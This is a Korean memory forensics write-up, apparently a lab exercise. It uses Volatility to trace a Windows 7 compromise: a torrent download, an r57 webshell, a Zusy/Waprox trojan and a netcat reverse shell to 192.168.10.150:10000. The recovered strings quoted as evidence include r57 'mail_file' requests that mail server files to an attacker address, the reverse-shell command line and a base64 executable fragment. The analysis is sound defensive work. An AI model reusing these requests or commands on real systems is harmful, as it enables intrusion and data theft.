



sample1

호스트OS : Windows 7

서버 환경 : apache2.2 + php5 + mysql5

피해자 IP : 192.168.10.145

공격자 IP 192.168.10.150

▼ 목차

[사건 정리](#)

[이미지 정보 및 컴퓨터 작동 시간 확인](#)

[프로세스 동작 순서 확인](#)

[토렌트를 이용한 웹 서버에서 파일 다운로드](#)

[OUTLOOK에서 악성 행위 탐지](#)

[svchost - 트로이 목마](#)

[Apache Server에 웹셸 업로드](#)

[리버스 셸 연결 \(netcat\)](#)

▼ 사건 정리

- 22:08:32 | 컴퓨터 시작 시간
- 22:09:59 | 피해자는 토렌트에서 악성 파일이 포함된 OUTLOOK 설치 파일 다운로드
- 22:11:21 | OUTLOOK에서 악성 행위 탐지
- 22:13:34 | svchost.exe (트로이목마 → 원격 공격자로부터 명령을 받기 위해 특정 서버에 연결)
- 22:17:06 | 22:22:45까지 웹셸을 이용하여 Attacker에게 내부 파일 전송
- 22:28:50 | 192.168.10.150:10000로 리버스 셸 연결
- 22:33:34 | 컴퓨터 종료 시간

▼ 이미지 정보 및 컴퓨터 작동 시간 확인

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp pslist
```

0x8413a858	System	4	0	104	602	-----	0	2018-05-28 22:08:32 UTC+0000
------------	--------	---	---	-----	-----	-------	---	------------------------------

system 프로세스는 컴퓨터가 켜지면 실행되기 때문에, **컴퓨터를 시작한 시간은 22:08:32** 이다.

```
python2 .\vol.py -f D:\vol\sample1\sample1.dmp imageinfo
```

```
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (kernel AS)
AS Layer2 : WindowsCrashDumpSpace32 (Unnamed AS)
AS Layer3 : FileAddressSpace (D:\vol\sample1\sample1.dmp)
PAE type : PAE
DTB : 0x185000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2018-05-28 22:33:34 UTC+0000
Image local date and time : 2018-05-28 15:33:34 -0700
```

Image date and time 와 Image local date and time 은 7시간 차이가 난다.

이 보고서에서 기준 시간은 Image date and time 으로 하

- 컴퓨터가 켜진 시간 : 22:08:32
- 컴퓨터가 꺼진 시간 : 22:33:34

▼ 프로세스 동작 순서 확인

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp pstree
```

0x00000003ff79858	System	4	0	0x00185000	2018-05-28	22:08:32	UTC+0000
0x000000009dacb28	httpd.exe	1824	1568	0x3e809340	2018-05-28	22:09:05	UTC+0000
0x00000000232ef300	uTorrent.exe	3824	3660	0x3e809600	2018-05-28	22:09:57	UTC+0000
0x000000003d814d40	utorrentie.exe	2360	3824	0x3e8091a0	2018-05-28	22:09:59	UTC+0000
0x000000002c49e220	utorrentie.exe	2616	3824	0x3e8096a0	2018-05-28	22:10:00	UTC+0000
0x000000003fd94a88	OUTLOOK.EXE	5392	3660	0x3e809780	2018-05-28	22:11:21	UTC+0000
0x000000003fccd748	svchost.exe	3456	5020	0x3e8097e0	2018-05-28	22:13:34	UTC+0000
0x843a1638:WerFault.exe			140	4128	4	126	2018-05-28 22:13:34 UTC+0000
. 0x84495928:cmd.exe			5132	3660	1	22	2018-05-28 22:13:47 UTC+0000
.. 0x866d3030:notepad++.exe			6084	5132	2	64	2018-05-28 22:28:50 UTC+0000
0x844ba030:conhost.exe			4824	428	2	51	2018-05-28 22:13:47 UTC+0000
0x84598a48:chrome.exe			3028	5440	15	228	2018-05-28 22:15:28 UTC+0000
0x964041b8:chrome.exe			3036	5440	14	228	2018-05-28 22:17:06 UTC+0000
0x000000003d872030 notepad++.exe		6084	5132	0x3e809540	2018-05-28	22:28:50	UTC+0000
0x95ac5030:APMMonitor.exe			1164	3660	40	404	2018-05-28 22:29:31 UTC+0000
0x000000003fa69328 taskhost.exe		4688	540	0x3e809680	2018-05-28	22:29:58	UTC+0000
0x0000000008792938 SearchFilterHo		872	3980	0x3e8093e0	2018-05-28	22:31:26	UTC+0000
.. 0x9649d5b8:SearchIndexer.			3980	540	14	702	2018-05-28 22:09:57 UTC+0000
... 0x8432e030:SearchProtocol			3908	3980	17	814	2018-05-28 22:31:26 UTC+0000
... 0x93d6b938:SearchFilterHo			872	3980	5	88	2018-05-28 22:31:26 UTC+0000

pstree와 psscan 명령어를 통해 프로세스가 올라간 시간 순서대로 프로세스를 나열했다. 이 과정은 앞으로 악성 행위가 발견되면, 시나리오 형식으로 유추하여 분석을 용이하게 하기 위해서 진행했다.

▼ 토렌트를 이용한 웹 서버에서 파일 다운로드

. 0x9640b300:uTorrent.exe	3824	3660	20	457	2018-05-28	22:09:57	UTC+0000
.. 0x86675d40:utorrentie.exe	2360	3824	13	349	2018-05-28	22:09:59	UTC+0000
.. 0x96408220:utorrentie.exe	2616	3824	10	291	2018-05-28	22:10:00	UTC+0000

앞선 프로세스 동작 순서에서 확인했을 때, 컴퓨터가 켜지고 토렌트를 이용해 파일을 다운한 것으로 보인다. (22:09:59)

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp cmdline
```

```
utorrentie.exe pid: 2360
Command line : "C:\Users\testUser\AppData\Roaming\utorrent\updates\3.5.3_44428\utorrentie.exe" uTorrent_3824_02EF3780_118861374 ㄹTorrent4823DF041B09 uTorrent
utorrentie.exe pid: 2616
Command line : "C:\Users\testUser\AppData\Roaming\utorrent\updates\3.5.3_44428\utorrentie.exe" uTorrent_3824_02EF35B8_2085750 ㄹTorrent4823DF041B09 uTorrent
```

cmdline 명령어로도 무엇인가 command가 실행된 것을 확인했다. 무엇인가 다운로드 한 것 같다.

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp iehistory
```

```
*****
Process: 3660 explorer.exe
Cache type "DEST" at 0x377c7e3
Last modified: 2018-05-28 15:23:12 UTC+0000
Last accessed: 2018-05-28 22:23:14 UTC+0000
URL: testUser@file:///C:/Users/testUser/Documents/20180%20m-htQ160_X.pdf
*****
Process: 2360 utorrentie.exe
Cache type "DEST" at 0x2bc28b3
Last modified: 2018-05-28 15:10:14 UTC+0000
Last accessed: 2018-05-28 22:10:16 UTC+0000
URL: testUser@http://www.bt.co/network/index.html?site=954555&consent=1&reload=true&rules=eyJ0IjpbNF0s1jUiOlslXSwiMzgwIjpbMzgwLCAlXX0&adt=380&browser=chrome&clientdata=utorrent%7c3%2e5%2e3%2e44428%7c290&geo=kr&ie=8&page=torrent&w=498139398&langs=en
*****
Process: 1164 APMMonitor.exe
Cache type "DEST" at 0x6660d1b
Last modified: 2018-05-28 15:29:38 UTC+0000
Last accessed: 2018-05-28 22:29:40 UTC+0000
URL: testUser@http://ww38.apmsetup.com/ad
```

쿠키와 캐시 및 history를 확인하는 iehistory 명령어를 사용하면, PID 2360으로 기록이 남아있다. Last accessed 시간을 보면, 시간흐름 상 유의미한 정보임을 확인할 수 있다.

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp netscan
```

```
0x3fcff0a0 UDPv4 127.0.0.1:54604 *:* 2360 utorrentie.exe 2018-05-28 22:10:11 UTC+0000
```

netscan 명령어로 다운로드 받았던 시간의 네트워크 포트가 열리는 것 또한 확인할 수 있다.

```
0x95be1d40:explorer.exe 3660 3640 31 881 2018-05-28 22:09:56 UTC+0000
. 0x84495928:cmd.exe 5132 3660 1 22 2018-05-28 22:13:47 UTC+0000
.. 0x866d3030:notepad++.exe 6084 5132 2 64 2018-05-28 22:28:50 UTC+0000
. 0x843f5a88:OUTLOOK.EXE 5392 3660 33 1822 2018-05-28 22:11:21 UTC+0000
. 0x95ac5030:APMMonitor.exe 1164 3660 40 404 2018-05-28 22:29:31 UTC+0000
. 0x9640b300:utorrent.exe 3824 3660 20 457 2018-05-28 22:09:57 UTC+0000
.. 0x86675d40:utorrentie.exe 2360 3824 13 349 2018-05-28 22:09:59 UTC+0000
.. 0x96408220:utorrentie.exe 2616 3824 10 291 2018-05-28 22:10:00 UTC+0000
```

해당 PID의 프로세스 관계이다. 토렌트 다운 시간인 22시 10분 이후 실행된 프로세스 시간과 관계를 중심으로 분석할 것이다. 최상위 프로세스인 explorer.exe를 기준으로 하위 프로세스들을 분석할 것이다.

▼ 스킵 할 분석내용

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp -p 3660 memdump -D D:\vol\sample1\
```

```

00B37460 00 00 00 00 EF BE AD DE 3A 32 30 31 38 30 35 32 ...i%.B:2018052
00B37470 38 32 30 31 38 30 35 32 39 3A 20 74 65 73 74 55 820180529: testU
00B37480 73 65 72 40 66 69 6C 65 3A 2F 2F 43 3A 2F 55 ser@file:///C:/U
00B37490 73 65 72 73 2F 74 65 73 74 55 73 65 72 2F 44 6F sers/testUser/Do
00B374A0 63 75 6D 65 6E 74 73 2F 32 30 31 38 25 45 42 25 cuments/2018%EB%
00B374B0 38 35 25 38 34 25 32 30 25 45 41 25 42 35 25 41 85%84%20%EA%B5%A
00B374C0 44 25 45 41 25 42 30 25 38 30 25 45 43 25 41 30 D%EA%B0%80%EC%A0
00B374D0 25 38 34 25 45 42 25 39 45 25 42 35 2D 25 45 43 %84%EB%9E%B5-%EC
00B374E0 25 42 39 25 41 38 25 45 44 25 39 35 25 42 34 25 %B9%A8%ED%95%B4%
00B374F0 45 42 25 38 43 25 38 30 25 45 43 25 39 44 25 39 EB%8C%80%EC%9D%9
00B37500 31 31 36 25 45 41 25 42 38 25 42 30 5F 25 45 43 116%EA%B8%B0 %EC
00B37510 25 42 42 25 41 34 25 45 42 25 41 36 25 41 43 25 %BB%A4%EB%A6%AC%
00B37520 45 44 25 38 31 25 39 38 25 45 42 25 39 46 25 42 ED%81%98%EB%9F%B
00B37530 43 2E 70 64 66 00 AD DE EF BE AD DE EF BE AD C.pdf..B%B.B%B.B
00B37540 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD i%.B%.B%.B%.B

```

2진수 (8비트)

Int8

이동: 1

UInt8

이동: 1

Int16

이동: 2

UInt16

이동: 2

Int24

이동: 6

UInt24

이동: 6

바이트 순서 (Byte Order)

리틀 엔디언

☐ 16진수 형식으로 변환 (정수)

제크섬 검색 (109개의 검색 결과)

오프셋	잘라내기 (16진수)	잘라내기 (텍스트)
A55F9B	26 8F BE 9B 64 A3 2C 91 1A 9B 6A A3 0E 8E 2C 9B 70 64 66 91 20 9B 76 A3 32 91 26 9B 7C/%dE./,jf.Z> pdf vE2'jE8'
A85B1B	26 8F BE 9B 64 A3 2C 91 1A 9B 6A A3 0E 8E 2C 9B 70 64 66 91 20 9B 76 A3 32 91 26 9B 7C/%dE./,jf.Z> pdf vE2'jE8'
B35332	25 38 31 25 39 38 25 45 42 25 39 46 25 42 43 2E 70 64 66 00 AD DE EF BE AD DE EF BE AD ...	%81%98%EB%9F%BC.pdf..P%P%P%
B37532	25 38 31 25 39 38 25 45 42 25 39 46 25 42 43 2E 70 64 66 00 AD DE EF BE AD DE EF BE AD ...	%81%98%EB%9F%BC.pdf..P%P%P%
B4AE08	25 38 31 25 39 38 25 45 42 25 39 46 25 42 43 2E 70 64 66 00 25 38 31 25 39 38 25 45 42 2...	%81%98%EB%9F%BC.pdf.%81%98%EB%...
B4AE1C	25 38 31 25 39 38 25 45 42 25 39 46 25 42 43 2E 70 64 66 00 00 00 00 00 00 00 00 00 0...	%81%98%EB%9F%BC.pdf.....

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp filescan | findstr "pdf"
```

```
PS C:\Python27\Lib\site-packages\volatility-2.6\volatility-master> python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp filescan | findstr "pdf"
Volatility Foundation Volatility Framework 2.6
0x000000003d9e4ab0 2 0 RWD--- \Device\HarddiskVolume2\Users\testUser\Documents\2018????????-??????6?????????.pdf
0x000000003fa387c0 2 0 RW-rwd \Device\HarddiskVolume2\Users\testUser\Documents\2018????????-??????6?????????.pdf
```

토렌트를 통해 받은 PDF 파일이다. 이 PDF를 다운하면서 악성파일도 같이 다운 된 것으로 추정된다.

▼ OUTLOOK에서 악성 행위 탐지

0x3fdf5a88	OUTLOOK.EXE	5392	3660	33	1822	1	0	2018-05-28 22:11:21 UTC+0000
------------	-------------	------	------	----	------	---	---	------------------------------

22:11:21에 OUTLOOK.EXE 프로세스 Start

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp -p 5392 memdump -D D:\vol\sample1\strings.exe D:\vol\sample1\5392.dmp > D:\vol\sample1\5392_strings.txt
```

explorer.exe의 하위 프로세스 outlook(5392)을 덤프 후 strings을 추출하여 확인했다.

수상한 string이 확인되었다

outlook과는 상관없는 apache 관련 문자열들과 r57 shell의 문자열을 확인이 되는 것으로 보아, 이 아웃룩 프로세스는 r57 웹셸이 피해자 서버에 올라가도록 하는 악성 행위를 하는 것으로 추정된다.

1. r57 웹셸 구문이 발견되었다.

- r57 webshell - sendmail

```
POST
to=crush_3%40naver.com&cmd=mail_file&dir=C%3A%SCAPM_Setup%5Chtdocs%5Cbb%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+P57shell&loc_file=C%3A%Scnotepad%2B%2B.exe&submit=Send
<B%|km
```

```
to=hacker%40mail.com&cmd=mail_file&dir=C%3A%SCAPM_Setup%5Chtdocs%5Cbb%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+P57shell&loc_file=C%3A%Scnotepad%2B%2B.exe&compress=zip&submit=Send
```

- [illegible]

- ```
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
POST
to=hacker%40mail.com&cmd=mail_file&dir=C%3A%5CAPP_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5Cnotepad%2B%
2B.exe&compress=zip&submit=Send
48Km
http://localhost/bbs/data/test/r57shell.txt
application/x-www-form-urlencoded
http://localhost/bbs/data/test/r57shell.txt
```

- Path 관련 경로 지정

```
C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
C>"[A]
ABCDEFGHIJ KLMNOPQRSTU VWXYZ abcdefghijklmnopqrstuvwxy20123456789._ -
OFFILE=C:\Progr
.75E;.WSF;W
ITECTURE=x86
PROCESSOR_IDENTIFIER=
ogramData
Prog
SESSIO
APPDATA=C:\Users\testUser\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
ComSpec=C:\Windows\system32\cmd.exe
FP_NO_HOST_CHECK=NO
LOCALAPPDATA=C:\Users\testUser\AppData\Local
NUMBER_OF_PROCESSORS=1
OneDrive=C:\Users\testUser\OneDrive
Price=C:\Program Files\Microsoft Office\root\Office16;c:\Windows\system32;c:\Windows\System32\wbem;c:\Windows\System32\WindowsPowerShell\v1.0;c:\APM_Setup\Server\Apache
\bin;c:\APM_Setup\Server\MySQL\bin;c:\APM_Setup\Server\PHP5
PROCESSOR_IDENTIFIER=x86 Family 6 Model 61 Stepping 4, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=3d04
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemRoot=C:\Windows
TEMP=C:\Users\testUser\AppData\Local\Temp
TMP=C:\Users\testUser\AppData\Local\Temp
USERDOMAIN=testUser-PC
USERNAME=testUser
windir=C:\Windows
windows_tracing_flags=3
windows_tracing_logfile=C:\BTBin\Tests\installpackage\csilogfile.log
```

- ```
ver\apache\bin\httpd.exe
```

```
# mod_php5
LoadModule php5_module "C:/APM_Setup/Server/PHP5/php5apache2_2.dll"
AddType application/x-httpd-php .php .html
PHPIniDir "C:/APM_Setup"
```

- sample1

```

HTTP/1.1 200 OK
Date: Mon, 28 May 2018 22:16:54 GMT
Server: Apache
P3P : CP="ALL CURa ADMa DEVa TAIA OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"
Content-Type: text/html
127.0.0.1
HTTP/1.1 200 OK
Date: Mon, 28 May 2018 22:17:06 GMT
Server: Apache
Content-Length: 2611
Content-Type: text/html
127.0.0.1
tPhhttp://hit4.hotlog.ru/cgi-bin/hotlog/count?0.8853825455615816&s=81606&im=1&r=http%3A//localhost/bbs/data/test/r57shell.txt%3Fcpu&pg=http%
3A//localhost/bbs/data/test/r57shell.txt&c=Y&j=N&wh=1333x712&px=24&js=1.3&
http://counter.yadro.ru/hit?t52.6;rhttp%3A//localhost/bbs/data/test/r57shell.txt%3Fcpu;s1333*712*24;0.33239382632982406

```

- 22:17:38 apache → r57shell.txt Connect Response

```

1527545858243713/http://localhost/bbs/data/test/r57shell.txt
HTTP/1.1 200 OK
Date: Mon, 28 May 2018 22:17:38 GMT
Server: Apache
Content-Type: text/html
127.0.0.1
http://hit4.hotlog.ru/cgi-bin/hotlog/count?0.38569443352531474&s=81606&im=1&r=http%3A//localhost/bbs/data/test/r57shell.txt&pg=http%3A//localhost/bbs/data/test/r57shell.txt&c=Y&j=N&wh=
1333x712&px=24&js=1.3&
http://counter.yadro.ru/hit?t52.6;rhttp%3A//localhost/bbs/data/test/r57shell.txt;s1333*712*24;0.16234962763089333

```

- httpd.exe로 Apache start

```

TCP Query User{DCEA5F14-4FB2-4F3A-AA7F-D033460AB287}C:\apm_setup\server\apache\bin\httpd.exe\
LEGACY_QWAVEDRV
0000\
ConfigFlags
Class
ClassGUID
UDP Query User{8F59489B-5724-4CA7-8230-9A39E1B2F0AB}C:\apm_setup\server\apache\bin\httpd.exei

```

- apmsetup 파일 다운로드

```

URL
Visited: testUser@http://kldp.net/apmsetup/release/3221-APMSETUP7_2010010300.exe
URL

```

- notepad++ 관련 strings

```

-----_NextPart_001_0002_01D3F698.F06F1530--
-----_NextPart_000_0001_01D3F698.F06F1530
Content-Type: application/x-msdownload;
    name="notepad++.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
    filename="notepad++.exe"
TVqQAAMAAAAEAAAA//8AALGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAgAAAAA4fug4AtAnIbgBTM0hVghpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaw4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABQRQAATAEHAE9AD00AAAAAAAAA0AADwMLAQIVAFQAAAB4AAAAAgAAYBEA
AAAQAAAAcAAAAABAAAAQAAAAAgAABAAAAEAAAAEAAAAAAAAADgAAAAABAA80kBAAMAAAAACAA
ABAAAAAAEAAAAEAAAAAAAAABAAAAAAAAAAAAAAAAACwAABQCwAAAAAAAAAAAAAAAAAAAAAB8AACw
EgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAGAAAAAAAAAAAAAAAAAAAAAAAA
AAaosgAaxAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAANFIAAAQAAAAVAAAAQA
AAAAAAAAAAAAAAAAAGAAUGAuZGF0YQAAFWAAAAACAAAAIAAABYAAAAAAAAAAAAAAAAABAAADDA
LnJkYXRhAABQEAAAAIAAAASAAAAWgAAAAAAAAAAAAAAAAQAawQC5ic3MAAAAnAEAAACgAAAA
AAAAAAAAAAAAAAAAAAAAAAAAIAAYMAuawRhGEAAAFALAAAASAAAAwAAABsAAAAAAAAAAAAAAAA
AABAADDALkNSVAAAAAYAAAAAMAAAAACAAAAEAAAAAAAAAAAAAAAAQAawwC50bHMAAAAAIAAA

```

▼ svchost - 트로이 목마



해당 트로이 목마

Gen:Variant.Zusy == Trojan:Win32/Waprox

0x8432e748:svchost.exe	3456	5020	1	32	2018-05-28 22:13:34 UTC+0000
------------------------	------	------	---	----	------------------------------

22시 13분에 부모 프로세스가 존재하지 않는 수상한 svchost.exe가 Start 됐다. (PID: 3456)

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp cmdline
```

```
svchost.exe pid: 3456
Command line : "C:\svchost.exe"
*****
WerFault.exe pid: 140
Command line : C:\Windows\system32\WerFault.exe -u -p 3456 -s 124
*****
cmd.exe pid: 5132
Command line : "C:\Windows\system32\cmd.exe"
*****
conhost.exe pid: 4824
Command line : \??\C:\Windows\system32\conhost.exe
*****
chrome.exe pid: 3028
Command line :
*****
chrome.exe pid: 3036
Command line :
*****
notepad++.exe pid: 6084
Command line : notepad++ 192.168.10.150 10000
*****
```

수상한 경로에서 svchost.exe가 실행된다. PID는 3456이다.

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp -p 3456 procdump -D D:\vol\sample1\
```


41

/ 68

Community Score

41 security vendors and no sandboxes flagged this file as malicious

0f9784573ed55fa484e28662a78936f63095ede1c1160c1457a29daf5b22f963

executable.3456.exe

peexe

557.00 KB

Size

2021-05-19 03:32:18 UTC

1 year ago

EXE

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label

trojan.zusy/stealer

Threat categories

trojan dropper

Family labels

zusy stealer gen2

Security vendors' analysis

Do you want to automate checks?

Ad-Aware	Gen.Variant.Zusy.275325	AegisLab	Trojan.Win32.Generic.4lc
AhnLab-V3	Malware/Win32_RL_Generic.R358561	Avast	MSIL.Keybase-A [Trj]
AVG	MSIL.Keybase-A [Trj]	Avira (no cloud)	TR/Dropper.Gen2
BitDefender	Gen.Variant.Zusy.275325	BitDefenderTheta	Gen.NN.ZexaF.34690.luW@aGKxbAj
Bkav Pro	W32.AiDetect.malware1	Comodo	Malware@#bm54m37so68e
CrowdStrike Falcon	Win/malicious_confidence_70% (D)	Cybereason	Malicious.c8e465

해당 svchost.exe를 확인하면, Gen:Variant.Zusy 로 식별한다. 이는 별칭이며, Trojan:Win32/Waprox 바이러스이다.

Trojan:Win32/Waprox

Microsoft Defender 바이러스 백신에서 감지됨

별칭: Gen:Variant.Zusy.Elzob.2492(BitDefender) Mal/Cleaman-B(Sophos) ,

요약

Trojan:Win32/Waprox원격 공격자로부터 명령을 받기 위해 특정 서버에 연결하는 트로이 목마입니다.

해당 악성파일은 원격 공격자로부터 명령을 받기 위해 특정 서버에 연결하는 트로이 목마라고 한다. 이를 통해 공격자가 원하는 명령어를 쓸 수 있게 된다.

▼ userassist

```

REG_BINARY      Microsoft.Windows.RemoteDesktop :
Count:          6
Focus Count:     5
Time Focused:    0:01:40.500000
Last updated:    2018-05-13 23:30:06 UTC+0000
Raw Data:
0x00000000  00 00 00 00 06 00 00 00 05 00 00 00 a0 86 01 00  .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 34 ea a0 53  .....4..S
0x00000040  12 eb d3 01 00 00 00 00  .....

```



```

REG_BINARY      C:\Users\testUser\Downloads\notepad++\netcat-1.11\nc.exe :
Count:          1
Focus Count:    1
Time Focused:   0:01:41.619000
Last updated:   2018-05-14 00:04:45 UTC+0000
Raw Data:
0x00000000  00 00 00 00 01 00 00 00 01 00 00 00 ff 8a 01 00 .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff a0 d2 d0 2a .....*
0x00000040  17 eb d3 01 00 00 00 00 .....

```

```

REG_BINARY      C:\svchost.exe :
Count:          8
Focus Count:    0
Time Focused:   0:00:00.500000
Last updated:   2018-05-28 22:10:52 UTC+0000
Raw Data:
0x00000000  00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 20 30 09 be .....0..
0x00000040  d0 f6 d3 01 00 00 00 00 .....

```

```

REG_BINARY      C:\nc.exe :
Count:          1
Focus Count:    0
Time Focused:   0:00:03.558000
Last updated:   2018-05-28 16:21:20 UTC+0000
Raw Data:
0x00000000  00 00 00 00 01 00 00 00 00 00 00 00 f2 0b 00 00 .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 60 f1 ee e9 .....`...
0x00000040  9f f6 d3 01 00 00 00 00 .....

```

```

REG_BINARY      C:\notepad++.exe.exe :
Count:          1
Focus Count:    2
Time Focused:   0:00:07.395000
Last updated:   2018-05-28 17:02:35 UTC+0000
Raw Data:
0x00000000  00 00 00 00 01 00 00 00 02 00 00 00 ef 1a 00 00 .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff a0 b4 c3 ac .....
0x00000040  a5 f6 d3 01 00 00 00 00 .....

```

```

REG_BINARY      C:\notepad++.exe :
Count:          2
Focus Count:    5
Time Focused:   0:01:01.200000
Last updated:   2018-05-28 17:04:56 UTC+0000
Raw Data:
0x00000000  00 00 00 00 02 00 00 00 05 00 00 00 1c ed 00 00 .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 80 65 d4 00 .....e..
0x00000040  a6 f6 d3 01 00 00 00 00 .....

```

▼ shimache

```

2018-05-13 23:59:39 UTC+0000  \??\C:\Users\testUser\AppData\Roaming\utorrent\updates\3.5.3_44428\utorrentie.exe

```

```
2018-05-13 23:55:18 UTC+0000    \??\C:\notepad++.exe.exe
2018-05-13 23:55:18 UTC+0000    \??\c:\nc.exe
```

```
PS C:\Python27\Lib\site-packages\volatility> volatility 2.6\volatility-master> python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\samples\samples.dmp shimcache | findstr "2018-05-13"
Volatility Foundation Volatility Framework 2.6
2018-05-13 23:59:39 UTC+0000 \\??C:\Users\testUser\AppData\Roaming\utorrent\updates\3.5.3_44428\utorrent.exe
2018-05-13 23:36:01 UTC+0000 \\??C:\Program Files\Google\Update\GoogleUpdate.exe
2018-05-13 23:55:18 UTC+0000 \\??C:\notepad++.exe
2018-05-13 23:55:18 UTC+0000 \\??C:\nc64.exe
2018-05-13 23:59:14 UTC+0000 \\??C:\Users\testUser\AppData\Roaming\utorrent\utorrent.exe
2018-05-13 23:58:47 UTC+0000 \\??C:\Users\testUser\Downloads\utorrent.exe
2018-05-13 23:55:18 UTC+0000 \\??C:\notepad++.exe.exe
2018-05-13 23:55:18 UTC+0000 \\??C:\nc.exe
2018-05-13 23:36:39 UTC+0000 \\??C:\Program Files\Google\Chrome\Application\66.0.3359.170\Installer\setup.exe
2018-05-13 23:36:01 UTC+0000 \\??C:\Program Files\Google\Update\1.3.33.7\GoogleCrashHandler.exe
2018-05-13 23:59:23 UTC+0000 \\??C:\Program Files\AVAST Software\Avast\setup\aswOfferTool.exe
2018-05-13 23:36:39 UTC+0000 \\??C:\Program Files\Google\Chrome\Application\66.0.3359.170\Installer\chromstp.exe
```

▼ shellbags

Value	Mru	File Name	Modified Date	Create Date	Access Date	File Attr	Path
1	6	netcat-win32-1.11	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	DIR	netcat-win32-1.11
0	7	netcat-win32-1.11.zip	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	ARC	netcat-win32-1.11.zip
3	4	webshell+(+r57shell+)	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	DIR	webshell+(+r57shell+)
2	5	NOTEPAD+	2018-05-13 23:55:20 UTC+0000	2018-05-13 23:55:20 UTC+0000	2018-05-13 23:55:20 UTC+0000	DIR	notepad+
4	3	r57	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	DIR	r57
0	2	zip1p8	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	1970-01-01 00:00:00 UTC+0000	DIR	zip1p8
5	1	webshell-1.ZIP	2018-05-24 16:03:32 UTC+0000	2018-05-24 16:03:32 UTC+0000	2018-05-24 16:03:32 UTC+0000	ARC	webshell-(+r57shell+).zip
6	2	r57.zip	2018-05-24 17:08:36 UTC+0000	2018-05-24 17:08:36 UTC+0000	2018-05-24 17:08:36 UTC+0000	ARC	r57.zip

```
*****
Registry: \\?\C:\Users\testUser\AppData\Local\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0
Last updated: 2018-05-13 23:55:00 UTC+0000
Value      Mru      File Name      Modified Date      Create Date      Access Date      File Attr      Path
-----
0          0          1790-01-01 00:00:00 UTC+0000  1790-01-01 00:00:00 UTC+0000  1790-01-01 00:00:00 UTC+0000  netcat-win32-1.11.zip%0000%00
```

```

-----
Registry: \\?\C:\Users\testUser\AppData\Local\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1
Last updated: 2018-05-13 23:55:20 UTC+0000
